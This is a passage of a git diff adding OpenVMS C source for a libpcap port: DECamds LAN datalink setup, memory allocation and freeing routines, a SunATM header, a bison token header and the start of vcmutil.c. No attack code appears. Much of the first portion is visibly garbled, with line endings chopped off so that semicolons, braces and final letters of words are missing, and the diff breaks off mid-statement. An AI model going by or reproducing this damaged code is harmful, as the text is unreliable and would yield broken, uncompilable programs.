0; /* AMDS$DEVICE defined/used + int chan; /* channel + int status = SS$_NORMAL; /* status + + int dev_desc [2] = {0, 0 + int length + char lan_buf[4]; /* 4 bytes + int lan_desc[2] = {0,0}; /* Descriptor to hold trnlnm name + + + + * If RMA0 is not active, then we need to find a datali + * with whom to communicate our protoco + + if ( !check_rm_active() + + + * Next check to see if AMDS$DEVICE is defined. If so, ensure th + * the device it points to is cool... If cool then we're going + * set our channel to it; otherwise, we'll start looking in th + * channel list at the 3rd entry (rma0=1,amds$device= + + status = AMDS$Check_amdsdevice_log ( lan_buf, &length + if ( status == SS$_NORMAL + + + * If we have a valid AMDS$DEVICE we know that we've alread + * assigned a channel to it (temporarily at least) so no nee + * to check that... just get the channel, populate the structur + * and get out of her + + dev_desc [0] = strlen(devlist[1] + dev_desc [1] = devlist[1 + sys$assign ( &dev_desc, &chan, 0, 0 + dl_chanlist[dl_chan_count].devlist_index = + dl_chanlist[dl_chan_count].dl_chan = cha + dl_chan_count+ + + el + + /* + * Loop through trying to assign a channel to the device. If fou + * save the channel's information in our global channel list, an + * try the next channel until we've exhausted our lis + + * Note: If the AMDS$DEVICE logical is defined + * only use that channel. + + idx = 2; /* NB: We start at the 3rd entry... + while (*devlist[ idx ] != ' ' && dl_chan_count < MAX_CHAN + + + * Set up a descriptor for the sys$assign servic + * to try to make the connection t + + dev_desc [0] = strlen(devlist[ idx ] + dev_desc [1] = devlist[ idx + status = sys$assign ( &dev_desc, &chan, 0, 0 + + + * If found then populate structure. + + if ( status == SS$_NORMAL + + + * Fill in our array for datalink channels. + + dl_chanlist[dl_chan_count].devlist_index = id + dl_chanlist[dl_chan_count].dl_chan = cha + dl_chan_count+ + + + * We expect SS$_NOSUCHDEV, signal others. + + else if (status != SS$_NOSUCHDE + lib$signal ( status + + * Increment loop counter, and try next chann + + idx+ + + + + + + * If we didn't find one, then signal a messa + + if ( dl_chan_count == 0 ) status = AMDS$_NODATALIN + else status = SS$_NORMA + + return ( status ); + + + + +int AMDS$Check_amdsdevice_log ( char *lanname, int *le + +**++ +** FUNCTIONAL DESCRIPTI + +** This routine will check the validity of the AMDS$DEVICE logica +** If bad, then it errors ou + +** INPU + +** lanname = Name of the lan device to be returned if AMDS$DEVICE +** a define +** len = Length of the name (4 or + +** OUTPU + +** status +** + + + int status = SS$_NORMAL; /* Status + short int iosb [4]; /* Standard I/O Status Block + + + char t_buffer[80]; /* Buffer to hold our name + int trn_retlen = 0; /* Return length of descriptor + itmlst trnlnm_itmlst [] = { /* Define our trnlnm item list + 80, LNM$_STRING, t_buffer, &trn_retle + 0, 0, 0, 0 + $DESCRIPTOR ( lnm_tbl, "LNM$FILE_DEV"); + $DESCRIPTOR ( trn_name, "AMDS$DEVICE" + + + + * Translate the logical... if successful and we have something, th + * let's check it out. + + t_buffer[0] = + status = sys$trnlnm (0, &lnm_tbl, &trn_name, 0, trnlnm_itmlst + t_buffer[trn_retlen] = + if ( status == SS$_NORMA + { + if ( trn_retlen == 4 + + int assign_statu + int cha + + + * We check the validity by attempting to assign a channel to t + * device. If successful, then we have a good device, otherwi + * set the return status to the status received and let the call + * take the appropriate actio + + assign_status = sys$assign ( &trn_name, &chan, 0, 0 + if ( assign_status != SS$_NORMAL + + status = assign_statu + lib$signal ( AMDS$_BADLANADR, 2, trn_retlen, t_buffer + + el + + sys$dassgn ( chan + *len = trn_retle + + * Capitalize. + + if ( t_buffer[0] >= 'a' && t_buffer[0] <= 'z + t_buffer[0] -= 0x2 + if ( t_buffer[1] >= 'a' && t_buffer[1] <= 'z + t_buffer[1] -= 0x2 + if ( t_buffer[2] >= 'a' && t_buffer[2] <= 'z + t_buffer[2] -= 0x2 + strncpy ( lanname, t_buffer, 4 + + + el + + + * If by chance the logical was defined, but not to something tha + * is defined as "legal", we need to state + + lib$signal ( AMDS$_UNKSTYLE, 2, trn_retlen, t_buffer + + + + + return ( status + + + + +extern void AMDS$Fill_P2 ( int *p2desc, int num_buffers + + +**++ +** +** FUNCTIONAL DESCRIPTI +** +** This routine will fill in the data in the P2 Buffer that needs +** be sent to the datalink to start the DECamds protocol on the wir + +** This routine is shared by RMCP and AMDS$CO + +** The P2 buffer sent to our QIO to initialize the particular LA +** driver about what type of information is going to be sent over th +** wire. The buffer must be set up in the format o + +** PARAMETER ID (word +** Longword Value or Counted Stri + +** All values shown in I/O User's Guide Part II (middle of chaper + +** This structure is set up to let us use a private protocol across t +** wire in the LAN/802 Extended Format. + +** Required parameters ar + +** NMA$C_PCLI_FMT -> Packet Format (802 +** NMA$C_PCLI_PID -> Protocol Identifier (08-00-2B-80-48 + +** Error parameters ar + +** NMA$C_PCLI_PTY -> Protocol Typ +** NMA$C_PCLI_SAP -> 802 formap SAP (Service Access Poin +** NMA$C_PCLI_ACC -> Protocol Access Mo +** NMA$C_PCLI_DES -> Shared Protocol Destination Addre +** NMA$C_PCLI_PAD -> Use of message size field on X-mit/receive messag +** NMA$C_PCLI_SRV -> Channel Servi +** NMA$C_PCLI_GSP -> Group S + +** Optional parameters are: (default or our value in parens afte +** description (Asterisked (*) values are ones we us + +** *NMA$C_PCLI_BFN -> Number of buffers to preallocat +** NMA$C_PCLI_BSZ -> Device Buffer Size ( max of 150 +** *NMA$C_PCLI_BUS -> Max. allowable channel receive buff. siz +** NMA$C_PCLI_CON -> Controller Mode (NMA$LINCN_NO +** NMA$C_PCLI_CRC -> CRC Generation State (NMA$C_STATE_O +** *NMA$C_PCLI_DCH -> Data Chaining State (NMA$C_STATE_OF +** NMA$C_PCLI_EKO -> Echo Mode (NMA$C_STATE_OF +** NMA$C_PCLI_ILP -> Internal Loopback Mode. (NMA$C_STATE_OF +** *NMA$C_PCLI_MCA -> Multicast Address (NMA$C_LINMC_SET: 09-00-2B-02-01-0 +** NMA$C_PCLI_MLT -> Multicast Address State (NMA$C_STATE_OF +** *NMA$C_PCLI_PHA -> Physical Port Address (current/hdwr addres +** NMA$C_PCLI_PRM -> Promiscuous mode (NMA$C_STATE_OF +** *NMA$C_PCLI_RES -> Restart. (NMA$C_LINRES_EN + + +** INPUT + +** p2desc Pointer to a two longword buffer. +** It is assumed that the second longword contains +** buffer of at least 100 byte +** num_buffers Number of buffers for DL to prealloca + +** OUTPUTS: + +** The filled buffe +* +** + + +/* + + * Initialize the P2 buffer. The P2 buffer is the buffer sent to t + * datalink to start up DECamds's protocol on the LA + + * The NMA$ constants and types used below are defined in the I/O User' + * Guide in the chapter discussing LAN/802 Device Driver + * The NMA$ constants come from the NMADEF.SDL in the VMS facilit + * They are defined in LIB, but I couldn't find the VAXC equivalent + * LIB.MLB or LIB.L32 so I just copied the NMADEF.SDL out of the V5.4-3 + *bufwpos++ = NMA$C_PCLI_CCA; /* Can Change Address + buflpos = bufwpos; + *buflpos++ = NMA$C_STATE_ON; /* ON + bufsiz += + + bufwpos = buflpos; + *bufwpos++ = NMA$C_PCLI_BUS; /* Max. Channel Rcv. buffer size + buflpos = bufwpo + *buflpos++ = AMDS$K_LAN_BUF_SIZ; /* Use sparcdef defined symbol + bufsiz += + + bufwpos = buflpo + *bufwpos++ = NMA$C_PCLI_RES; /* Automatic channel restart + buflpos = bufwpo + *buflpos++ = NMA$C_LINRES_ENA; /* Enable automatic restart + bufsiz += + + + * End of word paremter_id / longword value pai + + * Start of word parameter_id / counted character string pair + + bufwpos = buflpo + *bufwpos++ = NMA$C_PCLI_PHA; /* Physical Port Address + *bufwpos++ = 2; /* Counted byte string + *bufwpos++ = NMA$C_LINMC_SD + bufsiz += + + + *bufwpos++ = NMA$C_PCLI_MCA; /* Multi-cast Address + *bufwpos++ = 8; /* Counted byte string... + *bufwpos++ = NMA$C_LINMC_SET; /* Set the multicast address + bufcpos = bufwpo + *bufcpos++ = 0x09; /* 09-00-2B-02-01-09 + *bufcpos++ = 0x0 + *bufcpos++ = 0x2 + *bufcpos++ = 0x0 + *bufcpos++ = 0x0 + *bufcpos++ = 0x0 + bufsiz += 1 + + bufwpos = bufcpo + *bufwpos++ = NMA$C_PCLI_PID; /* Protocol ID + *bufwpos++ = 5; /* Counted string + bufcpos = bufwpo + *bufcpos++ = 0x08; /* 08-00-2B-80-48 + *bufcpos++ = 0x0 + *bufcpos++ = 0x2 + *bufcpos++ = 0x8 + *bufcpos++ = 0x4 + bufsiz += + + p2desc[0] = bufsiz; /* Number of bytes of actual data to be sent + + + + + + +extern int AMDS$startup_dl ( int num_buffers, int from_com + int *returned_chan + +**++ + +** FUNCTIONAL DESCRIPTI +** +** This routine will attempt to start up datalink protocol on the list +** valid LAN adapter types. This routine is to be shared by RM +** and AMDS$COMM as a single point of entry for both. The major differen +** between the two is that if we are being called from AMDS$COMM then +** need to check if RMA0 is active and if so use it since it will be t +** conduit for all our message + +** INPUT +** +** num_buffers Number of buffers to be preallocated by datalin +** from_comm currently unuse +** returned_chan Channel to return to calle + + +** Outputs: + +** returned_chan = Value to return our channel in, if an +** status = Status of success or failu + +** +** + + + int i = 0; /* Loop + int statu + int nmabuf[100]; /* buffer to fill ... + int nmadsc[2] = {0,&nmabuf};/* NMA buffer descriptor + short int stiosb[4 + + + * Find all the available datalink channe + */ + status = get_dl_chan ( + if ( status != SS$_NORMAL + + *returned_chan = + lib$signal ( status + + + * If we know our channel is the RMA0 channel, then just exit the start + * isn't going to do anything, the protocol is already start + + else if ( rm_active + + *returned_chan = dl_chanlist[ 0 ].dl_chan; /* Set return value + + + * Otherwise, try to find a line to start up on. + */ + el + { + + * Fill in the P2 Buff + + AMDS$Fill_P2 ( &nmadsc, num_buffers + + + * Loop through all valid channels... trying to start the protocol. + + while ( i < dl_chan_count + + + * Issue a QIOW to the particular LAN driver we have a channel t + * to set controller mode and start the controller po + + status = sys$qiow ( 0, dl_chanlist[ i ].dl_chan + IO$_SETMODE | IO$M_CTRL | IO$M_STARTU + &stiosb, 0, + 0, nmadsc, 0, 0, 0, 0 + if ( status == SS$_NORMAL && stiosb[0] == SS$_NORMAL + + brea + + el + + / + * If it's not fatal, then we'll try the next line. + * but if fatal, then this will force ex + * Also, note that we ensure we don't signal the sam + * message twice - the stiosb[0] should be the same a + * the status, but I'm not taking any chances. + + lib$signal ( stiosb [0] + if ( stiosb [0] != status ) lib$signal ( status ) + + i+ + + + + * Set up return chann + + *returned_chan = dl_chanlist[ i ].dl_cha + + return ( status + + + +extern void init_mem_queues + +** +** FUNCTIONAL DESCRIPTIO + +** This routien will initialize the various memory lookaside list he +** pointers... This gets called once at application startup... Fo +** both console and com + +** FORMAL PARAMETERS: no + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: non + +** SIDE EFFECTS: no +** + + + int id + int statu + struct _itmlst getsyi_itmlst[] = + sizeof(int), SYI$_PAGE_SIZE, &page_size, + sizeof (int), SYI$_VIRTUALPAGECNT, &virpagcnt, + 0, 0, 0, 0 + + + * Get and save the system's page_size and the virtual page coun + + status = sys$getsyi(0, 0, 0, getsyi_itmlst, 0, 0, 0) + if ( status != SS$_NORMAL + lib$signal ( status + + + * Initialize the queue headers.. the mem_q_size, mem_q_len, an + * mem_q_max fields are already filled in. + + for ( idx = AMEM$K_SML_Q; idx < AMEM$K_INVALID; idx++ + + mem_list[idx].mem_q_fl = &mem_list[idx].mem_q_f + mem_list[idx].mem_q_bl = &mem_list[idx].mem_q_f + + + + +extern void list_mem_queues + +** +** FUNCTIONAL DESCRIPTIO + +** This routine will list some data about memory queue + +** FORMAL PARAMETERS: no + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: non + +** SIDE EFFECTS: no +** + + + int total = + int id + int av + + printf ( "\nList mem queues... Acount: %d, Dcount: %d, diff: %d + acount, dcount, acount-dcount + + for ( idx = AMEM$K_SML_Q; idx < AMEM$K_INVALID; idx++ + + total += ( mem_list[idx].mem_q_len + ( mem_list[idx].mem_q_size + AMEM$K_LENGTH ) + printf ( "\n\tMem qsize: %d, qlen: %d" + mem_list[idx].mem_q_size, mem_list[idx].mem_q_len + + + avg = total / page_siz + printf ("\nTotal queued pages: %d bytes, : %d pages ", total, avg + +} + + +extern int mem_alloc ( syze, type, va_alist + int syz + int typ + va_dcl /* NB: no semicolon + +** +** FUNCTIONAL DESCRIPTIO + +** This routine handles the crux of all of DECamds' memory allocati +** using the LIB$GET_VM routine. It is smart enough to also che +** for special blocks which are used quite frequently within the cour +** of running DECamds. If this routine detects one of these speci +** blocks it will attempt to REMQUE from a lookaside list of blocks th +** have already been used (and deallocated) instead of using the overhe +** of multiple LIB$GET_VM call + +** It will allocate a buffer of requested size plus an internal head +** as follow + +** --------------- +** || +** -------------- + +** FORMAL PARAMETERS: + +** syze Size of block to be allocat +** type Type of block to be allocat +** subtype (opt) Any subtype to be placed he + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: + +** Address of block to be allocat + +** SIDE EFFECTS: no +** + + + va_list a + int idx; /* loop + int size = syz + int block_size = - + int got_bloc + int statu + int subtyp + int big_mem = 0 + ( AMDS$K_BIG_MEM_OK << AMDS$K_BIG_MEM_SHIFT + int bigger_mem = 0 + ( AMDS$K_BIGGER_MEM_OK << AMDS$K_BIGGER_MEM_SHIFT + + AMEM *membl + STD *bl + + if ( size < 0 ) printf ("\n size: %d < 0!", size + + /* + * Did we get a 3rd para + + va_start ( ap ); /* start varargs... + va_count ( subtype + if ( subtype > 2 ) /* More than 2 args? + subtype = va_arg ( ap, int ); /* Yep, 3rd is SUBTYPE + el + subtype = + va_end ( ap + + /* + * Size check... Can only allocate up to max_block_size bytes, unle + * a special flag or two is set in the left 16 bits... This is done t + * ensure we know at certain portions of code that we will be allocati + * a rather large chunk of memory and that's what we want to d + + if ( ( size & big_mem ) == big_mem + + + * If the size and !big mem is greater than a big mem alloc, we' + * have problems just 'cutting' off the size. + + if ( ( size & ~big_mem ) > 0x0000FFFF ) /* 65535 + + printf ("\n AMDS BIG MEM Alloc masking incorrectly: %d ", size + + + size &= 0x0000FFF + + else if ( ( size & bigger_mem ) == bigger_mem + + if ( ( size & ~bigger_mem ) > 0x00FFFFFF ) /* 16,777,215 + + printf ("\n AMDS BIGGER MEM Alloc masking incorrectly: %d ", size + + size &= 0x00FFFFF + + else if ( size > MAX_BLOCK_SIZE + printf ("\n*** NOBIGMEM... AMDS Alloc HUGE block... size : %d ", size + + + * Check to make sure we're less than virtual page count, which happe + * to be the largest packet we can successfully handle... If not th + * is a fatal error. + + if ( ( size / page_size ) > virpagcnt + + printf ("\n***AMDS$INFO Alloc block pages : %d gtr than virpagcnt: %d + size/page_size, virpagcnt + printf ("\n***AMDS$INFO, increase SYSGEN parameter VIRPAGCNT " + lib$signal ( AMDS$_NOCONT ) + + + + * Increment alloc count... Then modify block size to be on a longwo + * boundary for "congruity + + acount+ + if ( size < MIN_BLOCK_SIZE + size = MIN_BLOCK_SIZ + el + size = (size + 3) & 0xFFFFFFF + + + * Check to see if we can take this block from one of our look-aside lis + * first... If not, then we'll bite the bullet and do the lib$get_ + + * BTW: _REMQUE returns 0,1 when entry removed, and 2 when queue was emp + + idx = AMEM$K_SML_ + got_block = 2; /* To fake the QUEUE_EMPTY + while ( idx < AMEM$K_INVALID ) + + if ( size <= mem_list[idx].mem_q_size + + + * To ensure that if our REMQUE fails that we allocate a blo + * big enough to fit on the queue when we dealloc the blo + * set up the block_size parameter to be the queue size + + block_size = mem_list[idx].mem_q_siz + + / + * Are we messing with this queue alread + + if ( !_BBSSI( 0, &mem_list[idx].mem_q_lock ) + + + * Do we have block? If so then decrement our count of bloc + * in our queue and then use the block in questi + + got_block = _REMQUE ( (int *)mem_list[idx].mem_q_fl, &memblk + if ( got_block != 2 ) mem_list[idx].mem_q_len- + mem_list[idx].mem_q_lock = + + + + * Since I don't want to allocate a "smaller" block from one of t + * larger sized queues, we force loop exit by setting the idx t + * the max. This way whether or not I have taken an element o + * I won't be abusing my memory rights. + + idx = AMEM$K_INVALID + + idx+ + + + + * Now I either have taken a block off one of my lookaside lists, or + * do not yet have a block... If I don't yet have a block, then I ne + * to allocate one + + if ( got_block == 2 ) /* Empty queue or I didn't get one... + + + * If we have block that doesn't fit into one of our lookaside lis + * sizes, then set the block_size value to the size we want, sinc + * block_size is only "set" when we have a block that would fit. + + if ( block_size == -1 ) block_size = siz + + block_size += AMEM$K_LENGTH; /* Add in our header + status = lib$get_vm ( &block_size, &memblk + if ( status != SS$_NORMAL + + lib$signal ( status + return ( NULL + +#if DEB + lastallocaddr = (int)membl +#end + memblk->AMEM$L_SIZE = block_size; /* Entire block size.. + } /* Including header + el + memblk = (int)memblk - AMEM$K_LENGTH; /* Since we queued the fl/bl + + + * Fill in some information about the allocated bloc + + memblk->AMEM$W_MARKER = 0xFEE + memblk->AMEM$B_TYPE = typ + memblk->AMEM$B_SUBTYPE = subtyp + + + * Get to the area we are going to use + + blk = (int)memblk + AMEM$K_LENGT + +#if DEBUG_M + memset ( blk, 0x47, size +#end + blk->STD$L_FLINK = &blk->STD$L_FLIN + blk->STD$L_BLINK = &blk->STD$L_FLIN + blk->STD$W_SIZE = siz + blk->STD$B_TYPE = typ + blk->STD$B_SUBTYPE = subtyp + + return ( blk + + + + +extern void mem_free ( blk, va_alist + STD *bl + va_dcl /* NB: no semicolon + +** +** FUNCTIONAL DESCRIPTIO + +** This routine will call LIB$FREE_VM for most cases. Although +** we come across a deallocation on one of our special blocks th +** DECamds uses alot, we will INSQUE the block onto a lookaside li +** so that the allocation will make less calls to lib$get_v +* +* +** When the memory is really deleted it will look as follow +* +** --------------- +** || +** -------------- +* +** When the memory is placed on a lookaside list it will look as follow +** +** --------------- +** || +** -------------- +* +** FORMAL PARAMETERS: + +** blk Address of block to dealloca +** size NOT USED, but there so that lots of code doesn't ch + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: non + +** SIDE EFFECTS: no +** + + + va_list a + int q_insert = 0; /* Assume false + int statu + int siz + int id + int free_siz + int max_factor = + AMEM *memblk = (int)blk - AMEM$K_LENGT + + + * Make some checks for validi + + if ( memblk->AMEM$W_MARKER == 0xDEAD || memblk->AMEM$W_MARKER == 0xDEAF + + printf ( "\n***AMDS$INFO already deleted this block size: %d type: %d + memblk->AMEM$L_SIZE, memblk->AMEM$B_TYPE + retur + + else if ( memblk->AMEM$W_MARKER != 0xFEED + + printf ("\n***AMDS$INFO, corruption possible size: %d, type: %d, st: %d + memblk->AMEM$L_SIZE, memblk->AMEM$B_TYP + memblk->AMEM$B_SUBTYPE + retur + + + + * Get the size from the memory block header. This is to be the si + * used if we need to do a free_vm call. otherwise, the size of our da + * packet on a lookaside list would be the "free_size" - header_size (s + * the mem_alloc routine above + + free_size = memblk->AMEM$L_SIZ + if ( free_size < MIN_BLOCK_SIZE + + printf ("\n***AMDS$INFO, corruption, free_size: %d < 0.. type: %d, st:%d" + memblk->AMEM$L_SIZE, memblk->AMEM$B_TYP + memblk->AMEM$B_SUBTYPE + return; /* punt + + size = free_size - AMEM$K_LENGT + + + * If we have console block (i.e., not RMCP) and event collect i + * being used, then we want to save more data on our lookaside lis + * since we'll likely use more. + + if (console_blockP != NULL + console_blockP->CSDB$R_FLAGS_OVERLA + CSDB$R_FLAG_BIT + CSDB$V_EVENT_COLLECT + max_factor = + + +#if DEBUG_M + memset ( blk, 0x92, size +#end + + + * Count this dalloc.. and reset our queue header for insertion. + + dcount+ + blk->STD$L_FLINK = &blk->STD$L_FLIN + blk->STD$L_BLINK = &blk->STD$L_FLIN + + + * First let's try to place the block on a look aside list so that we c + * reuse the memory without the overhead of a get_vm call + + memblk->AMEM$W_MARKER = 0xDEAF; /* Indicates not used, but allocated + idx = AMEM$K_SML_ + while ( idx < AMEM$K_INVALID ) + + /* + * If the size of the block (from the allocation) is the same as t + * current mem_q size and inserting the block won't "overflow" th + * maximum allowed elems in the queue.. then insert the element a + * exit the lo + + if ( size == mem_list[idx].mem_q_size + mem_list[idx].mem_q_len < ( max_factor * mem_list[idx].mem_q_max) + + + * Are we already messing w/ this queu + + if ( !_BBSSI( 0, &mem_list[idx].mem_q_lock ) + + + * NOTE: We are inserting the "BLOCK" header into the queu + * not including our "mem header... + + _INSQUE ( blk, (int *)mem_list[idx].mem_q_bl + mem_list[idx].mem_q_len+ + mem_list[idx].mem_q_lock = + q_insert = + + + + * Since we've done the insert, set the idx to the m + + idx = AMEM$K_INVALID + + idx+ + + + + * If we didn't insert the element, then really delete it. + * remember, free_size is the size we had allocate + */ + if ( !q_insert + + memblk->AMEM$W_MARKER = 0xDEA + status = lib$free_vm ( &free_size, &memblk + + * The BADBLOADR seems to come at odd times.. just ignore it. + * it gets signalled for far too many reasons to determine th + * root cause.. most likely though it's freeing well over a pa + * of memory and choki + + if ( status != SS$_NORMAL && status != LIB$_BADBLOADR + lib$signal ( status + + + + +#if DEB + +static int not_static ( int btype, int size + + int retval = + + switch ( btype + + /* List of "STATIC" types + case TYP$K_ACTION + case TYP$K_ACTITM + case TYP$K_CDB + case TYP$K_CFG + case TYP$K_CSDB + case TYP$K_CSTDB + case TYP$K_CST_INT + case TYP$K_CST_FLT + case TYP$K_DIDB + case TYP$K_EVENT + case TYP$K_INTW + case TYP$K_IOP + case TYP$K_LADB + case TYP$K_NDB + case TYP$K_OSDB + case TYP$K_OSVB + case TYP$K_PLB + case TYP$K_POPM + case TYP$K_SECBUF + case TYP$K_STD + case TYP$K_SYSOB + case TYP$K_THRDEF + case TYP$K_THRVAL + case TYP$K_TIMR + case TYP$K_WIN + + retval = + brea + + + + return ( retval + + +static void mem_dump ( + +** +** FUNCTIONAL DESCRIPTIO + + +** FORMAL PARAMETERS: +** + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: non + +** SIDE EFFECTS: no +** + + + struct FAB fab; /* File Access Block + struct RAB rab; /* Record Access Block + int statu + int id + + + + * Load up the FAB. + + fab = cc$rms_fab; /* Default values for RMS + fab.fab$l_dna = "AMDS$DUMP:.LOG"; /* File specification + fab.fab$b_dns = strlen("AMDS$DUMP:.LOG" + fab.fab$l_fna = "MEM-DUMP.LOG"; /* File name + fab.fab$b_fns = strlen("MEM-DUMP.LOG") + fab.fab$w_mrs = 80; /* Maximum record size + fab.fab$b_shr = FAB$V_SHRGET; /* Shared GET access + fab.fab$l_alq = + fab.fab$w_deq = 1; + fab.fab$l_fop = FAB$M_CBT | FAB$M_SUP | FAB$M_SQO | FAB$M_DF + fab.fab$b_fac = FAB$V_PU + fab.fab$b_rat = FAB$V_PRN; + fab.fab$b_rfm = FAB$C_VA + + + * Attempt to open our fi + */ + status = sys$create ( &fab + if ( status != RMS$_NORMAL && status != RMS$_FILEPURGED + + lib$signal ( status + retur + + + + * If we can at least CREATE the file we will set up the RA + + rab = cc$rms_rab; /* Default RAB information + rab.rab$l_fab = &fab; /* Our FAB + rab.rab$l_rop = RAB$M_EOF | RAB$M_WBH | RAB$M_RLK + + + * Connect to the file using our R + + status = sys$connect ( &rab + if ( status == RMS$_NORMAL + + AMEM *memblk = (AMEM *)console_blockP; /* Our first MEM_ALLOC! + int done = + int *nextadd + int staticsize = + int nonstaticsize = + + while (!done) + + if (_PROBER ( PSL$C_USER, 4, memblk ) == 0 + + if ( memblk > lastallocaddr + + char line [2*80 + sprintf ( line + "Done at: %x, static_size: %d, nonstatic_size: %d" + memblk, staticsize, nonstaticsize + rab.rab$l_rbf = line + rab.rab$w_rsz = strlen(line); + status = SYS$PUT (&rab + if (status != RMS$_NORMAL) lib$signal ( status + done = + + + el + + /* is this location our memory? + if ( memblk->AMEM$W_MARKER == 0xFEED + + if ( not_static ( (int)memblk->AMEM$B_TYP + memblk->AMEM$L_SIZE ) + + char line [2*80 + sprintf ( line + "Block at: %x, type: %d, st: %d, size: %d + memblk, (int)memblk->AMEM$B_TYP + (int)memblk->AMEM$B_SUBTYPE, memblk->AMEM$L_SIZE + + rab.rab$l_rbf = line + rab.rab$w_rsz = strlen(line); + status = SYS$PUT (&rab + if (status != RMS$_NORMAL) lib$signal ( status + if ( memblk->AMEM$B_TYPE >= 0 + memblk->AMEM$B_TYPE <= TYP$K_ZQS + nonstaticsize += memblk->AMEM$L_SIZ + + el + + if ( memblk->AMEM$B_TYPE >= 0 + memblk->AMEM$B_TYPE <= TYP$K_ZQS + staticsize += memblk->AMEM$L_SIZ + + + + nextaddr = (int *)membl + nextaddr+ + memblk = (AMEM *)nextadd + + + el + lib$signal ( status + + /* + * Close the file. + + sys$close ( &fab + +#end + + + +** +** FUNCTIONAL DESCRIPTIO + + +** FORMAL PARAMETERS: +** + +** IMPLICIT INPUTS: no + +** IMPLICIT OUTPUTS: no + +** RETURNS: non + +** SIDE EFFECTS: no +** + diff --git a/Pcap-VMS/pcap-vci/sunatmpos.h b/Pcap-VMS/pcap-vci/sunatmpos.h new file mode 100644 index 00000000..879f291c --- /dev/null +++ b/Pcap-VMS/pcap-vci/sunatmpos.h @@ -0,0 +1,45 @@ +/* + * Copyright (c) 1997 Yen Yen Lim and North Dakota State University + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Yen Yen Lim and + North Dakota State University + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @(#) $Header: /tcpdump/master/libpcap/sunatmpos.h,v 1.1 2002/07/11 09:06:47 guy Exp $ (LBL) + */ + +/* SunATM header for ATM packet */ +#define SUNATM_DIR_POS 0 +#define SUNATM_VPI_POS 1 +#define SUNATM_VCI_POS 2 +#define SUNATM_PKT_BEGIN_POS 4 /* Start of ATM packet */ + +/* Protocol type values in the bottom for bits of the byte at SUNATM_DIR_POS. */ +#define PT_LANE 0x01 /* LANE */ +#define PT_LLC 0x02 /* LLC encapsulation */ +#define PT_ILMI 0x05 /* ILMI */ +#define PT_QSAAL 0x06 /* Q.SAAL */ diff --git a/Pcap-VMS/pcap-vci/tokdefs.h b/Pcap-VMS/pcap-vci/tokdefs.h new file mode 100644 index 00000000..651d3626 --- /dev/null +++ b/Pcap-VMS/pcap-vci/tokdefs.h @@ -0,0 +1,102 @@ +#ifndef BISON_Y_TAB_H +# define BISON_Y_TAB_H + +#ifndef YYSTYPE +typedef union { + int i; + bpf_u_int32 h; + u_char *e; + char *s; + struct stmt *stmt; + struct arth *a; + struct { + struct qual q; + int atmfieldtype; + struct block *b; + } blk; + struct block *rblk; +} yystype; +# define YYSTYPE yystype +# define YYSTYPE_IS_TRIVIAL 1 +#endif +# define DST 257 +# define SRC 258 +# define HOST 259 +# define GATEWAY 260 +# define NET 261 +# define MASK 262 +# define PORT 263 +# define LESS 264 +# define GREATER 265 +# define PROTO 266 +# define PROTOCHAIN 267 +# define CBYTE 268 +# define ARP 269 +# define RARP 270 +# define IP 271 +# define SCTP 272 +# define TCP 273 +# define UDP 274 +# define ICMP 275 +# define IGMP 276 +# define IGRP 277 +# define PIM 278 +# define VRRP 279 +# define ATALK 280 +# define AARP 281 +# define DECNET 282 +# define LAT 283 +# define SCA 284 +# define MOPRC 285 +# define MOPDL 286 +# define TK_BROADCAST 287 +# define TK_MULTICAST 288 +# define NUM 289 +# define INBOUND 290 +# define OUTBOUND 291 +# define LINK 292 +# define GEQ 293 +# define LEQ 294 +# define NEQ 295 +# define ID 296 +# define EID 297 +# define HID 298 +# define HID6 299 +# define AID 300 +# define LSH 301 +# define RSH 302 +# define LEN 303 +# define IPV6 304 +# define ICMPV6 305 +# define AH 306 +# define ESP 307 +# define VLAN 308 +# define ISO 309 +# define ESIS 310 +# define ISIS 311 +# define CLNP 312 +# define STP 313 +# define IPX 314 +# define NETBEUI 315 +# define LANE 316 +# define LLC 317 +# define METAC 318 +# define BCC 319 +# define SC 320 +# define ILMIC 321 +# define OAMF4EC 322 +# define OAMF4SC 323 +# define OAM 324 +# define OAMF4 325 +# define CONNECTMSG 326 +# define METACONNECT 327 +# define VPI 328 +# define VCI 329 +# define OR 330 +# define AND 331 +# define UMINUS 332 + + +extern YYSTYPE pcap_lval; + +#endif /* not BISON_Y_TAB_H */ diff --git a/Pcap-VMS/pcap-vci/vcmutil.c b/Pcap-VMS/pcap-vci/vcmutil.c new file mode 100644 index 00000000..71b2c521 --- /dev/null +++ b/Pcap-VMS/pcap-vci/vcmutil.c @@ -0,0 +1,100 @@ +#include +#include +#include "pcapvcm.h" + +void add_lil_item(LILDEF *lil, int len, int tag, char *value) +{ + LILITEM *lilitm; + + lilitm = (LILITEM 